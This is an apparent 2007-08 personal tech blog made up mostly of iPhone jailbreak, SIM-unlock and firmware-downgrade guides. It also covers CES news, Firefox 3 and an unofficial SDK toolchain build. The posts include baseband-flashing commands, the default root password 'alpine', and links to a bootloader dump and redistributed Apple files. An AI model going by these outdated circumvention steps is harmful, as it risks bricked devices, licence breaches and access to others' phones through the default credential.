- hxxp://www.unlockiphone112.com << Software for old phones

Meanwhile if you are having problems jailbreaking 1.1.1, using OkToPrep on 1.1.1 to update to 1.1.2 or not having Wifi acces. Then downgrade to 1.0.2->jailbreak (wifi not needed)->install OkToPrep from installer or use manual method->UPDATE to 1.1.2->Jailbreak.

Will keep you updated on 1.1.3 jailbreak, activation proceedings..

CES 2008

2008-01-14T22:26:00.001+05:30

Here are the CES 2008 offerings that sounded interesting to me..

Microsoft showcase Origami™ Experience 2.0

Features picture passwords, UI Looks good, more like a extended vista sidebar.

more screenshots, details from the source

Gizmodo's publicity stunt at CES-2008
They took a TV-B-Gone (Multi TV remote) , turned off the LCD's , plasmas on a blink at booths, press conferences.. funny isn't it?? see the video..

CEA's take on it..
"We have been informed of inappropriate behavior on the show floor by a credentialed media attendee from the Web site Gizmodo, owned by Gawker Media. Specifically, the Gizmodo staffer interfered with the exhibitor booth operations of numerous companies, including disrupting at least one press event. The Gizmodo staffer violated the terms of CES media credentials and caused harm to CES exhibitors. This Gizmodo staffer has been identified and will be barred from attending any future CES events. Additional sanctions against Gizmodo and Gawker Media are under discussion. "

Windows Mobile 7, Microsofts answer to Apple iPhone

2008-01-07T22:54:00.001+05:30

A person has leaked out some of Microsoft's internal documents, white papers for Windows mobile 7. The screenshots look authentic and the UI is mouth watering>
As expected its a real iPhone killer with multitouch, innovative motion gestures vista style looks and cool transition effects.
Just take a look at over 50 diff screenshots and whole story here

First Impressions: Mozilla Firefox 3 Beta2

2008-01-02T02:38:00.000+05:30

I installed this a long ago, but didn't think to blog it untill today when i discovered a cool new feature in it... keep reading...
I had FF3 beta1 but it was very buggy, so went back to FF2 , then came the beta2 i had lots of fixes, most importantly the fix for abnormal memory usage (called memory leaks) of FF when you open lots of tabs..
I installed it , experience somewhat difference in performance, memory usage. now you can give tags to bookmarks and search them from addressbar straightway. The download manager of firefox allows you to pause/ resume , search downloads.
Now comes the most noticing feature Drag and Drop for all elements on page.. Means you can just select the text you want to google, drop it to google search bar! , any form field on page.. very usefull indeed.
The UI is same as FF2 but future build will contain a feature to create custom skins which can be used by any novice user.
Most of the addons don't work yet (even the google toolbar!!) and also i am not able to run firefox2, firebox 3b2 side by side though both are installed on my system.. more updates on this later,,,

iPhone 1.1.3 rumoured features, screenshots ,vids (look real!!)

2008-01-02T02:26:00.000+05:30

Previous firmware versions only did cosmetic changes to the iPhone interface as far as users are concerned. Back-end fixes can rarely be seen by the ordinary user. As some leaked info has it, the latest 1.1.3 firmware update that will become available somewhere in the near future will change a whole lot of things.

Having in mind the Apple stringent security policy it's pretty intriguing how this new firmware got to the journalistic folks like us. Anyways, it was first GearLive.com that got the new feature scoop out along with some screenshots.

The expected new features are:

The ability to send an SMS message to multiple people
Google Maps cell tower triangulation feature "My Location"
Google Maps can now display the Hybrid map view
You can now rearrange and drag-and-drop icons on your home screen
The home screen supports pagination
You can now add web bookmarks to your home screen

Freely rearranging springboard icons

Obviously the new changes such as the ability to rearrange springboard icons and the pagination are tell-tale signs that Apple are getting ready for unlocking the iPhone to third-party applications. So we wonder whether there are even more system changes under the hood of this thing.

New features to Google maps include My location and Hybrid map view

There is also SMS to multiple recipients and saving web bookmarks to homescreen

Next Nate from cre.ations.net, the creator of the popular iBrickr software, posted a video for all of us to enjoy, confirming the leaked info from gearlive.com.

As you know hacking every upcoming iPhone software update is a constant cat-n-mouse game between Apple and the hackers community. For the moment Apple leads 1:0 since older 1.1.1 unlocked iPhones can be updated to the current version 1.1.2, however newly bought iPhones, which come with the 1.1.2 version preinstalled cannot be touched without a valid contract with one of the official carriers. The only way to do that is using a hacked SIM card such as TurboSIM, etc.

As hackers insight have it, that will change once the 1.1.3 firmware version is out as some new valid hardware access key is needed in order to write some hacked code to the 1.1.2 out-of-the-box iPhones.

Release date for the 1.1.3 firmware is yet not known but it's positive that updating straightly to it will brick currently unlocked iPhones with the 1.1.2 software. Even if you have a legit contract account with AT&T, applying the 1.1.3 update to an unlocked iPhone will make it stop working even with the AT&T SIM card.

The iPhone dev team has acquired this firmware(ipsw package, it has baseband upgrade) and work has already started to retrieve secpack (needed for unlocking OOB 1.1.2 iPhones) .It took them 1 week to get secpack from 1.1.1 ,so set back enjoy vacations.

DISASTER: iPhone touch screen gets Dead Strip

2007-12-24T03:56:00.000+05:30

I read about it a lot,on blogs, news sites about iPhones getting dead strips , never imagined same would happen to me as i took outmost care handling the iPhone(fw 1.1.1). But to my dismay, yesterday when i wanted to text my friend the "ASDFG.." line on keyboard simply didn't respond to taps.. the dead strip is 1.5cm from below ("*0#" line on numpad)
i rebooted twice, uninstalled SummerBoard, still it was as it is..
I thought it was a mere software problem restore to 1.1.1 would work, but no, it got me stuck with a 1.1.1 iPhone waiting for activation as to jailbreak the nos "*#307#" had to be dialed which was not possible in my case.
I had no option but to restore to 1.0.2 which could be jailbreaked,activated from PC, no input from phone.. then i stumbled upon some thread on hackint0sh where editing a plist brings a touch settings menu in settings->general menu .. this is the edited general.plist file which has to be placed in \applications\preferences.app folder through some means like iBrickr or winscp..
Changing settings to "0" suggested as most sensitive didn't work but instead moved the strip some down where the "call, backspace.." buttons are located on dialpad, tried almost all values but didn't get a working combination..
I thought of setting the value beyond "0" to some -ve value, i edited the touch.plist in same folder to make the slider go in negative, but didn't work either..
I heard apple replaces or repairs the phone with this kinda problem but i am thousands of miles away from a AppleStore.
Next option was updating to 1.1.2 as this was newest firmware and might have this bug fixed..
To jailbreak 1.1.2 i needed the OkToPrep(yes, this can work even from 1.0.2!! not necessarily a jailbroken 1.1.1) from installer app, but again i couldn't even tap yes there to confirm installations. also there was not PXL package available for iBrickr, hence i searched around for the manual procedure of OkToPrep app.. it goes like this.. i uploaded the file mknod to \sbin and installed BsdSubystem+OpenSSH through iBrickr PXL packages. ran this command /sbin/mknod /private/var/root/Media/disk c 14 1 in winscp terminal
Then choose the UPDATE not restore from itunes to go to 1.1.2, when there i used the touch free 1.1.2 jailbreak which even activated my phone but still the the strip didn't respond.
I found the SMS, Phone apps to crash again and again , the phone looked buggy , i wasn't in my limits to fix the bugs, hence went back to 1.0.2 again.. unlocked the 4.02.13_G baseband by anysim 1.2.1u by iphone-elite team, adjusted the touch settings to 11 to at least get the control buttons in iPod working..
Now i am just using it as an iPod Touch,, will either replace the screen from a dead non-booting iPhone or send both to Apple USA (reseller) when i reach home Jan end after my 1st Sem exams..
I will be using a T-Mobile MDA Mail in the mean time, which is supposed to arrive tomm.
Also if you want to edit plist downloaded from iPhone or MAC and found them to be in binary format, you can use this perl script PLIST2XML.pl (credits to original author, you need a freeware like activeperl to execute it on Windows) convert it to readable XML format(you can open it in notepad..)

EDIT: the screen has been fixed by replacing with a dead iPhone's touchscreen.

Best and Worst of 2007 Lists

2007-12-17T01:39:00.001+05:30

credit:cnet.com

Best cameras and camcorders of 2007

If a picture is worth a thousand words, these cameras are the most prodigious writers of the year. Whether you want snapshots or moving pictures, a pocket cam or a full-on digital SLR, here are the best products we've seen for the task in the past year.

Top five tech cars of 2007

Today's cars offer a lot more tech than seat warmers and cassette decks. If you're looking for a new ride that's loaded with the latest nav devices, audio tech, hands-free phone support, and even live traffic info, there's something on this list for you.

Top 5 desktops of the year

Desktops ain't dead yet. In fact, if you're looking for a computer to be the centerpiece of your home theater or gaming experience, a desktop is still your best bet. Here are the five best desktop systems 2007 had to offer.

Best in-car tech of 2007

You don't need a new car to breathe new life into your driving experience. Just load up your existing ride with a multimedia entertainment system, an iPod-friendly stereo, or a GPS-capable head unit. This in-car tech burned serious rubber this year.

Best HDTVs of 2007

Plasmas? Check. Rear-pros? Check. Projectors, LCDs, and budget big-screens? Check, check, and check. It's time to kick back, put your feet up, pop a bowl of popcorn, and check out our list of the best high-definition TVs you can buy.

Top 5 laptops of 2007

Bring it! No, literally. Bring your computer with you. And if you're going to heed that advice, you might as well get one of these portables, because they're the best laptops we've seen all year long.

Best MP3 players and accessories of 2007

You can rock out if you don't have this gear, but you probably won't be rocking out hard enough. Our list of the top MP3 players, headphones, and accessories of 2007 is sure to be music to your ears.

Best home audio gear of 2007

Ahhh, there's nothing like coming home, kicking back, and cranking some Dokken all the way to 11. Stream your music wirelessly, get surround sound from a single speaker, or fill your home with wall-to-wall sound with these great audio systems.

Best home video gear of 2007

You may have an HDTV already, but that's only one part of the equation. You can bring live TV anywhere you've got a broadband connection, rent new movies from a set-top box, or watch Blu-ray or HD DVDs with this top gear from the past year.

Best cell phones of 2007

Phones are so much more than phones these days. They're music players, mobile entertainment centers, office suites, and GPS units. See the best handsets that 2007 had to offer.

Webware's hits and misses of 2007

Web 2.0 sites and services can be categorized into two big groups: Web 2.whoa! and Web 2.d'oh! Rafe Needleman, Josh Lowensohn, and Caroline McCarthy round up the best and worst Web 2.0 sites and features of the year.

The 2007 Jaded Fanboy Awards

In what may turn out to be an annual thing, Will Greenwald takes a look back at the video games that did things a little bit differently in the past year. From The Simpsons Game to Mario & Sonic at the Olympic Games, here are the titles that surprised for various reasons...both good and bad.

Worst tech of 2007

Whoa, Nellie. Before you buy this stuff, you're gonna want to see what else is out there. For example, checking our Best of 2007 lists would be a good start. Or just buying whatever else there is, as long as it's not this gear.

Worst games of 2007

In theory, aren't games supposed to be fun? You'd get more sheer enjoyment out of formatting a spreadsheet than you would playing these titles. There's nothing fun about them, other than laughing about how bad they really are.

Google's take on wikipedia with Knol

2007-12-17T01:14:00.000+05:30

Google has a new goal: help people share their knowledge. That’s right - forget Wikis, and welcome Knols (apparently "knol" stands for “unit of knowledge”). Although the service is right now invitation-only, the search giant isn’t shy about sharing what it’s trying to achieve (information domination). Knols will appear in Google search results, and it is promised that they will be ranked in order of quality. How will this beat Wikipedia? That’s an easy one. If the author chooses to, they can add advertising to a knoll and get a portion of the ad revenue.

The search giant plans to provide the software for writing and editing knols, as well as the hosting space for them. The knol project puts an emphasis on who wrote a given piece of information: “We believe that knowing who wrote what will significantly help users make better use of web content.” A knol is supposed to be the starting point for a research paper, it is meant to cover everything related to the topic, and Google swears not to change any information: “All editorial responsibilities and control will rest with the authors. We hope that knols will include the opinions and points of view of the authors who will put their reputation on the line. Anyone will be free to write”.

View: A Knol

Playstation 3 Turned Into "Crackstation" for Super Hacking Goodness

2007-12-17T01:05:00.000+05:30

Forget Folding@home and its feel-good applications. There are cooler things to be done, like cryptography cracking. Taking advantage of the Cell's vector architecture, a security consultant with Security-assessment.com has cooked up a way to to bust passwords open like bad Easter eggs really, really fast. His Crackstation shoves past "the current upper limit of 10-15 million cycles per second—in Intel-based architecture—up to 1.4 billion cycles per second." To put that in non-geek, "Intel processors are designed to do all kinds of complex calculations, whereas the PS3 is good at doing simple things very quickly." The work apparently stands to change the whole cryptography industry.

For one, it shows that using Intel processors or ones with similar architecture as benchmarks "just is not good enough anymore." Cracking cryptographer will probably get faster all around as well, which should ultimately drive stronger cryptography with better implementation. Though they haven't tried it yet, by using a technique similar to Folding@home with distributed loads, the cracking power could obviously be increased exponentially.

All of that said, I just think it's funny how it's emphasized over and over again how "simple" Cell's architecture is, after Sony's spent all this time telling us how complex and awesome it is. [PC World]

What am i doing?? some iPhone updates,opensocial

2007-12-06T20:18:00.000+05:30

I am quite busy nowadays with college exams, doing some gadgets for opensocial , if you are on orkut sandbox you can check out the beta version of my "Tag Friends" gadget..by adding this url: http://enext.biz/aks/tags.xml .. it allows you to give tags and forms a tag cloud on your page..
Now regarding iPhones , OOB 1.1.2 still no unlock, however exploits have been found, bootloader dumped.. everyone is waiting for the 1.1.3 or any newer baseband included firmware to test grab the secpack..
Apple introduced iPhones in france on 29th Nov. Overhaualing response, Orange has sold 30,000 iPhones in the first five days.. including the unlocked ones...
So how does apple unlock 1.1.2 new bootloader(4.6) in Germany and France, some imp points to be noted-

You tell your operator to get it unlocked
Operator sends apple the IMEI of your iPhone
Now your iPhone is whitelisted on apple's activation servers, when you connect your phon e to PC/MAC for activating with iTunes(7.5) it gets unlocked!! NO BASEBAND or FIRMWARE FLASHING.
Some say you can swap simcards without having to activate with itunes the new sim.
T-Mobile Germany no more sells unlocked phones .. Orange (fr) sells them at EURO 649+100(unlocking fee) or you can wait for 6 months if you don't want to pay unlock fee now.
If you are in US/UK you can go to france with your locked iPhone, purchase a Orange simcard, ask orange to unlock it :P thats $399+euro 100 for US iphone..

My Verdict: Don't Purchase a iPhone right now, wait for the dev team unlock to come out , a newer firmware will clear the picture.. If you really have crave for it, settle for a iPad Touch right now

iPhone 1.1.2 bootloader dumped, hoping unlock soon..

2007-11-26T23:47:00.000+05:30

The iPhone 1.1.2 has been dumped through a hardware method. The new bootloader didn't allow even the NOR (iPhones phone memory module) dump. Several RCE(Reverse Code Engineering) teams, including geohot!! are working to find a exploit in it and proceed to sim unlocking. The pic above is a dismantled iPhone. User TA_Mobile on hackint0sh forums has done this.I can see a ray of hope..
Finding exploit, backdoors is like finding a entry into house for a thief, it can take seconds to find way through or he may have to return empty handed!! But scene in Software Industry is a little different, there are more chances of breakthrough, hackers have defeated the vendors from time to time.. like the vista activation cracks, Windows media and iTunes DRM, etc..
I am so anxious to read about these things disassembling, decompiling.. but some weird college stuff comes in my way,,
Forget it :lol: if you know about them download the dump from here http://rapidshare.com/files/72462759/46dump.rar
and start playing with the new 4.6 bootloader.

The German iPhone

2007-11-21T19:22:00.000+05:30

The iPhone is available in 3 countries now, Germany (T-Mobile) newest addition, France first in queue of next launch. Due to orders by German government Apple has to give unlock codes for free if user requests. The out come price is 999 Euros(1400 usd approx..)! But still Apple managed to sell 10,000 iPhones on day one.
As expected it has the newer bootloader 4.6 too like the UK iPhones. Interesting thing would be schema of how Apple unlocks it for german users , unlock codes, additional update... lets wait little more...

meebo.com my latest crave...

2007-11-20T22:58:00.000+05:30

Like many others who got different IM ids but don't want them to interfere with there work throwing IM windows, meebo has the best web based Multi IM client to offer. Clean design, ease of use , integrated chatrooms etc...It supports

MSN
Yahoo
Gtalk
AIM
ICQ
Jabber

Thinking of any other IM network? It works on the iPhone too!! best IM solution for iphone.. sign up for a meebo.com account and add IM networks you want to use all together.. if you don't want to register just sign in to individual accounts..

iPhone updates, apple hits back with new bootloader in 1.1.2 OOB UK iPhones

2007-11-18T02:58:00.000+05:30

The new bootloader(4.6) is out with the iPhones released in UK, till now it has't been hacked, the teams are not able to find a backdoor like the previous bootloader (3.9). Bootloader can only be flashed while the device is manufactures, its like the bios in PC. A hack in bootloader is needed in order to flash the unlock patches to the baseband firmware.. What this means
-1.1.2 (spotted by slide for emergency in different languages) out of box(OOB), no unlock, downgrade and jailbreak,activation in works, iPod touch as no unlock available till now , find below to find bootloader version, if its 4.6 its cannot be unlocked.
-1.1.2 updated, downgrade 1.1.2->1.1.1 jailbreak, activate, unlock with anysim 1.2

To Check bootloader version of out of box 1.1.2 phones , downgrade to 1.1.1 with itunes( try going to recovery mode pressing home button) jailbreak 1.1.1,activate,install 1-BSD Subsystem 2-OpenSSH from installer. Download WinSCP , connect to phones ipaddress, username:root , password:alpine paste this file (bbupdater) to a folder /usr/bin open command shell present in winscp inself, type following:

launchctl unload -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

cd /usr/bin
chmod +x bbupdater
./bbupdater -v

launchctl load -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

in response if you get "BOOTLOADER_VERSION:4.6_M3S2"
then the bootloader version is 4.6 its the newer one,no unlock yet, wait for updates from dev team ... if its "3.9_M3S2" its the older one, can be unlocked...

BootLoader can't be downgraded or upgraded! there needs to be some hack to bypass security check in bootloader to flash baseband (unlock the phone)..

Meanwhile due to lots of firmware there, updgrading, downgrading your iPhone says "Repair Needed" you have no wifi,bluetooth,sound , ICCID , unkown MAC addresses and phone etc.. --upgrade to latest 1.1.2 firmware downgrade to 1.1.1->1.0.2 through iTunes(7.4.1.2 preferred, 7.5 won't work), phone in recovery mode. itunes will give errors like 1501, 1603 etc ignore them, the fact that the downgrade has worked is that itunes will give error after doing something, not at instant, at the end of process you will have a yellow triangle(old DFU).
--Start itunes, use iBricker 0.91 to jailbreak the 1.0.2 firmware, PACAY to activate, install BSD Subsystem, Mobile Terminal . Download, upload 1.1.2 virginizer files creating folder "vg" in /usr/bin through iBricker. Run following commands in Mobile Terminal in phone-

launchctl unload -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

cd /usr/bin/vg
chmod +x ieraser
./ieraser
chmod +x bbupdater
./bbupdater -f *.fls -e *.eep

launchctl load -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

After 2-3 minutes you should see the # prompt again and your modem firmware should be 03.14.08_G in settings->about. apply anysim 1.2 to unlock...

If anywhere your iPhone is stuck in DFU or recovery mode connect to PC, start itunes, start iBrickr to boot it to springboard (desktop of iPhone :)...

BarCampBangalore5 ...my first BarCamp..

2007-11-06T00:50:00.000+05:30

I will be there on 17-18 Nov. , just after coming back from home after Diwali vacations... click on the banner to know more about it, register there...

iPhone hello world through toolchain POC..

2007-11-05T18:30:00.001+05:30

A door to world with endless possiblities now open....:) keep checking.

iPhone non official SDK aka ToolChain finally setup

2007-10-31T23:09:00.001+05:30

Woo.. after doing the process almost ten times, downloading the full xodetools.dmg(~924mb) i finally have the iPhone toolchain working.. i have setup the non official iPhone SDK ,, untill the official by Apple comes out in Feb'08 .
Start developing native iPhone apps today, no more web 2.0...
There are many guides out there, i am just telling my expierience, hope it works for you..
It uses the GC++, GCC compiler in linux..
I used Fedore 7 on VMware(virtual machine, you can grab both of them for free) to build the toolchain. I recomd. linux for good performance..
Content from -http://code.google.com/p/iphone-dev/wiki/Building ,with my tips in BOLD.

HOWTO build the toolchain
Run terminal...

Ensure that you have a copy of bison and flex installed on your system. All major systems should have these tools installed or available in package management systems. Most linux flavours have the packages, you can skip this..

$ bison --version
GNU Bison version 1.28
$ flex --version
flex version 2.5.4

Check out a copy of LLVM SVN, and build a release build (as opposed to a debug one). Currently, due to Issue 70, we are limited to revision 42498. it will take some time while files are being downloaded to your PC from internet, probably no errors here

$ svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm-svn -r 42498
$ pushd llvm-svn
$ ./configure --enable-optimized
$ make ENABLE_OPTIMIZED=1
$ sudo make install
$ LLVMOBJDIR=`pwd`
$ popd

Check out a copy of the iphone-dev SVN repository.( it will take large amount of time, the longest step of all)

$ svn checkout http://iphone-dev.googlecode.com/svn/trunk/ iphone-dev
$ pushd iphone-dev

Make a directory to hold the toolchain.

$ sudo mkdir /usr/local/arm-apple-darwin

Build odcctools. ( you will get some error if you are using CYGWIN on windows here, refer to there site for details )

$ mkdir -p build/odcctools
$ pushd build/odcctools
$ ../../odcctools/configure --target=arm-apple-darwin --disable-ld64
$ make
$ sudo make install
$ popd

Get a copy of the iPhone root filesystem. This is usually obtained by decrypting and extracting the iPhone restore software using these tools, but there are many other methods to obtain this, including simply using scp to download all the files from the iPhone over Wi-Fi. (Scroll below for a download link of ready to use iPhone 1.0.2 image) Unpack the root filesystem somewhere, and set the environment variable $HEAVENLY to its path. (set this again if you restart system or terminal)

$ HEAVENLY=/usr/local/share/iphone-filesystem

Install the iPhone headers to the appropriate place. If you aren't on Mac OS X, replace the /Developer/SDKs/MacOSX10.4u.sdk path with the full path to the unpacked Mac OS X 10.4 Universal SDK(ie. MacOSX10.4u.sdk). If you don't have a copy of this, scroll below..

$ pushd include
$ ./configure --with-macosx-sdk=/Developer/SDKs/MacOSX10.4u.sdk
$ sudo bash install-headers.sh
$ popd

Install csu, which includes crt1.o, dylib1.o, and bundle1.o. Don't rebuild them from source, as this requires a working cross-GCC, which you don't have yet (and the build-from-source process for csu is broken right now anyway). Binaries are provided for this reason.

$ mkdir -p build/csu
$ pushd build/csu
$ ../../csu/configure --host=arm-apple-darwin
$ sudo make install
$ popd

Only if you are compiling on leopard 10.5. This is an ugly workaround and compiling with the resulting toolchain will give you a warning.

$ mv llvm-gcc-4.0-iphone/configure llvm-gcc-4.0-iphone/configure.old
$ sed 's/^FLAGS_FOR_TARGET=$/FLAGS_FOR_TARGET=${FLAGS_FOR_TARGET-}/g' \
llvm-gcc-4.0-iphone/configure.old > llvm-gcc-4.0-iphone/configure
$ export FLAGS_FOR_TARGET="-mmacosx-version-min=10.1"
$ sudo ln -s /usr/local/arm-apple-darwin/lib/crt1.o \
/usr/local/arm-apple-darwin/lib/crt1.10.5.o

Configure and make LLVM-GCC. Make sure that $LLVMOBJDIR and $HEAVENLY are set per the instructions above.(i got the errors like error 1, error 2 more than 5 times, i solved this problem by changing lots of files,symlinks in /usr/lib folder of iphone image hence i have uploaded my modified working iphone image. see below for errors).

$ mkdir -p build/llvm-gcc-4.0-iphone
$ pushd build/llvm-gcc-4.0-iphone
$ ../../llvm-gcc-4.0-iphone/configure --enable-llvm=`llvm-config --obj-root` \
--enable-languages=c,c++,objc,obj-c++ --target=arm-apple-darwin --enable-sjlj-exceptions \
--with-heavenly=$HEAVENLY --with-as=/usr/local/bin/arm-apple-darwin-as \
--with-ld=/usr/local/bin/arm-apple-darwin-ld
$ make LLVM_VERSION_INFO=2.0-svn-iphone-dev-0.3-svn
$ sudo make install
$ popd
$ popd

You're done. Have fun!

Gotchas

Make sure that there are no spaces in any of the directory names that you use. GCC does not build if there are spaces in the directory names, and the shell scripts will not work. This is most often a problem on Windows.
Make sure that /usr/local/bin is in your PATH. This is not the case out of the box on Mac OS X, although chances are if you've installed things from source before you've added it already.
If LLVM failed to compile because of missing bison and/or flex (evidence that this was the case is a failed compile on utils/TableGen/FileLexer.l), you must make clean and delete utils/TableGen/FileParser.h before trying again with bison and flex installed. LLVM's make clean script does not always properly clean up after a failed build.
Make sure that $HEAVENLY points to a copy of the full iPhone root filesystem, not just the unpacked update DMG. If you get errors about being unable to find -lc, then your $HEAVENLY is set incorrectly, you mistyped the --with-heavenly option to configure, or your copy of the root partition is incomplete. Your copy of the iPhone root filesystem must include a usr/lib/libc.dylib file.

HOWTO obtain the Mac OS X headers on Linux or Windows

=Install the cpio utility using your distribution's standard package management system. All the major Linux distributions, as well as Cygwin, should have this utility.
=No need to download the whole xcode tools dmg (~924mb). I extracted the package,uploaded it for you :), download the needed file from here- http://rapidshare.com/files/66764258/MacOSX10.4u.sdk.rar
=Extract RAR, then the pax archive by creating a new dir and using the following command in terminal

gunzip -c MacOSX10.4u.sdk.pax.gz | cpio -i

=Find MacOSX10.4u.sdk folder in extracted contents and link it toolchain install procedure.

--LOGIN as root to avoid weird errors, password prompts again and again..

--The envirnoment variables should be set properly to check there use this command in terminal- echo $VARIABLENAME, eg. - echo $HEAVENLY if it returns blank line set it again. the envirno. variable has a liftime till the terminal runs, if you close it, you have to set it again

-- errors i got ,when i do "make LLVM_VERSION_INFO=2.0-svn-iphone-dev-0.3-svn " its runs for a long time and then results in this error *

 /usr/local/bin/arm-apple-darwin-ld: /home/Aakash/iphone/iphone-image/usr/lib/libc.dylib truncated or malformed object (mach header extends past the end of the file) collect2: ld returned 1 exit status make2 [libgcc_s.dylib] Error 1 make2 Leaving directory `/root/iphone-dev/build/llvm-gcc-4.0-iphone/gcc' make1 [stmp-multilib] Error 2 make1: Leaving directory `/root/iphone-dev/build/llvm-gcc-4.0-iphone/gcc' make: [all-gcc] Error 2

*
i did this to get off the error "open all .dylib files (<=1 k) one by one in folder /iphone-image/usr/lib/, rename it - and for example libc.dylib shows path to libSystem and libSystem - path to libSystem.B.dylib. Just copy libSystem.B.dylib twice and rename 2 new files to libc.dylib and libSystem.dylib. do this for all <=1kb .dylib files".
The iPhone image i uploaded here contains these changes, no need to do again.

Password for all my rapidshare uploads if needed in this post is aksblog.co.nr

Usefull links-

http://code.google.com/p/iphone-dev/wiki/Building
http://iphone.fiveforty.net/wiki/index.php/Toolchain_Project
http://rapidshare.com/files/66747414/iphone_image.rar , (78.3mb) fixed, decrypted iphone image by me
only /usr/lib from iPhone image fixed symlinks folder which causes problem for some.. http://rapidshare.com/files/66800884/lib.rar (14.2mb)
MAC OSX headers needed http://rapidshare.com/files/66764258/MacOSX10.4u.sdk.rar only 61.2mb

Post toolchain install--

sample test app that worked for me http://absolutech.org/files/testApp.rar , extract, goto directory in terminal type make
http://www.cocoadev.com/index.pl?UIKit
http://phonedev.tumblr.com/
http://www.lucasnewman.com/iphone/

Need any help, post as comment...

Take the geek test...

2007-10-31T23:05:00.001+05:30

Take the 100 questions geek test on a facebook app-http://apps.facebook.com/geektest , i scores 31, post your score as comment .. you might have to register at facebook before you take the 100 questions test. do it, facebook is a new revolution today..

iShoes 2.0: Sleeker design loses a wheel

2007-10-31T20:29:00.001+05:30

New and improved?

(Credit: iShoes)

The high-tech industry needs to take some lessons from iShoes about rolling out new versions. Crave wrote about the originals on Friday, and over the weekend the inventors apparently decided it was time for an upgrade.

What they've come up with is no minor tweak either: iShoes 2.0 barely resemble the first version, looking more like three-wheeled roller skates than mini-shopping carts with 4-inch wagon wheels. Despite the design overhaul they're still powered by electric motors controlled by a wired remote, but Gizmodo says new specs are on the way.

The classic version

(Credit: iShoes)

The most disappointing news, however, is the price: $499 and $399 for the large and small sizes, respectively. For that kind of money you could get a Segway knockoff, though the insurance might cost more than both of them combined. No matter what, it's not worth rushing into any purchases--at this rate, version 3.0 might come out by the end of the week.

iPhone updated to 1.1.1 , unlocked, tips, suggestions,

2007-10-27T01:25:00.001+05:30

from my post on hackint0sh- http://hackint0sh.org/forum/showthread.php?p=102643#post102643

1.0.2 -> 1.1.1 (unlocked) tips, suggestions, basics, guide to guides (WINDOWs)

I was satisfied with my 1.0.2 firmware. But the Wifi Store, bug fixes, new features like double tap home button to bring up the itunes miniplayer urged me to update. i wanted to wait for dev team jailbreak, activation release of which netkas posted, but its not yet released, so last night i started the upgrade process.

heres my story, Vote if this worked for you..

--i used a sony vaio laptop with windows xp home for this process, nothing else--

Basic Info
The goal of all guides is same, they are just taking alternate routes or cutting short the process.. Read the whole guide before you start, so that you know what you are doing, you paid a lot, queued hours to get your iPhone! Open all guides in tabs before preceding, if you get an error or anything doesnot work look around for the basic heck used in it below,to do the specific thing again, search it in forums, google, you will get things working in end

Virginizing- erase and reflash the seczone (use putty on PC or mobile terminal on iPhone to run commands).
Jailbreaking- gaining read/write access to iphone filesystem, 2 methods (itouchfree,iBricker || tiff exploit in safari).
Activating- copy lockdown files through iphoneinterface.exe || activate through some other online server.
SimUnlock- use Anysim1.1, IPSF || flash baseband through commands
Youtube- copy 3 certificate files to iphone.

Putty- to run commands from PC to iphone
WinSCP- for file transfer over wifi to phone

BsdSubsystem- UNIX tools, commands for iPhone, BASE for iphone apps like openssh, mobile terminal..
OpenSSH- to accept file transfer connections on iPhone
Mobile terminal- run commands directly in iphone

You won't see any icon for BsdSubsystem,OpenSSH in springboard whether installed or not. Even installer app may report wrong ,to check try connecting with WINSCP to phone..

Prequistes-

1.0.2 unlocked with anysim
WiFi source (can be a laptop too!!)
Upgrade files and tools
patience!

Yes you can simply use the laptop , iPhone for file transfers, no wireless router required, just initiate a adhoc network from your laptop and kick off...

1.0.2->1.0.2 virgin
I used this guide to virginze my iPhone http://hackint0sh.org/forum/showthread.php?t=13170
what this does is it runs a shell script with commands which you have to run manually other guides.
do make a backup of seczone by copying all the text in putty window after seczone backup is finished.

--After the process is complete your iPhone will come to out of box factory state. (Simlocked, jailed, unactivated) with 1.0.2 firmware--

Upgrade to 1.1.1, jailbreak,activate,unlock and youtube
Next i referenced to this guide http://hackint0sh.org/forum/showthread.php?t=12237 from point 3 for rest of stuff.

Easiest part is upgrade to 1.1.1 from 1.0.2 virgin. hold the shift button while pressing restore in iTunes to upgrade to 1.1.1.
--After this your iPhone will be called 1.1.1 virgin--
i trusted the iDemocracy to jailbreak , activate my phone.
tips

*#307# remember this no., the procedure to go to settings page in iPhone, you will have to do it many times..even if not indicated.
Use static IP address for iPhone, set autolock->never
Wifi may drop after phone restarts, hence before preceeding on PC after , reconnect wifi after each restart by going in settings.
iDemocracy may tell that process completed successfully but in real its not, look for commands running without errors in windows that open and close.no blank black windows should be there.

After jailbreaking, installing BsdSubsystem,ssh,apptapp(correct file permissions), activating , try connecting with WINSCP and upload anysim 1.1. if it uploads, no need of reinstalling bsdsubsystem,openssh in phone with installer app in phone.
Take care of file permissions (0755 instead of 0644) , autolock->never and run the anysim tool.

Youtube
copy the three magic files to specified folder manually through winscp, enjoy youtube.. don't trust any software for it.

I didn't get a single error throughout the process!!

Enjoy the new firmware, its more responsive, stable than 1.0.2.
Connect to PC->itunes, if it asks to restore backup of iPhone let it do. you will get the phone with all settings,contacts, sms etc.. of the prev 1.0.2 phone.
Play safe with itunes wifi store buy now button, it asks for password only once a session.
again its not a IPSF support forum
Thanks to dev team, all guide authors.. do leave feedback and suggestions, i know i missed something..

Re-Virginizer, jailbreak Tools for iPhone 1.1.1

2007-10-25T01:25:00.000+05:30

All i can say is wait, there are lots of so called ULTIMATE guides available, but none is fullproof. Don't trust newer developer products like iPhone-elite, iDemocracy etc.. there are lots of bugs in them. Just check the hackint0sh forums there are lots of people having problems with wifi, iPhone getting stuck at apple logo, itunes restore mode etc... there are a lots of confusions going on now. Give the scene some time, i too am eagerly waiting to get my hands on iTunes wifi store :)

PS: iPhone dev team is going to release the easiest jail break , activation all in one GUI tool for 1.1.1 in a day or two.

Report: iPhone software development kit due in early 2008

2007-10-17T19:28:00.000+05:30

Is Apple ready to embrace developers for the iPhone?

According to one report Tuesday morning, yes. BusinessWeek cites sources "familiar with the company's plans" who say Apple will officially release a software development kit for the iPhone in early 2008. Those sources say the official announcement could come during Steve Jobs' keynote at the annual Macworld Expo on January 15. Apple could be waiting to release an SDK until after Leopard, the latest version of its Mac OS X operating system, is released. Apple said Tuesday that the official release date is October 26.

The report contains few other concrete details, but an Apple-sanctioned kit will likely be embraced by the developer community that has already created scores of applications for the device without Apple's official blessing.

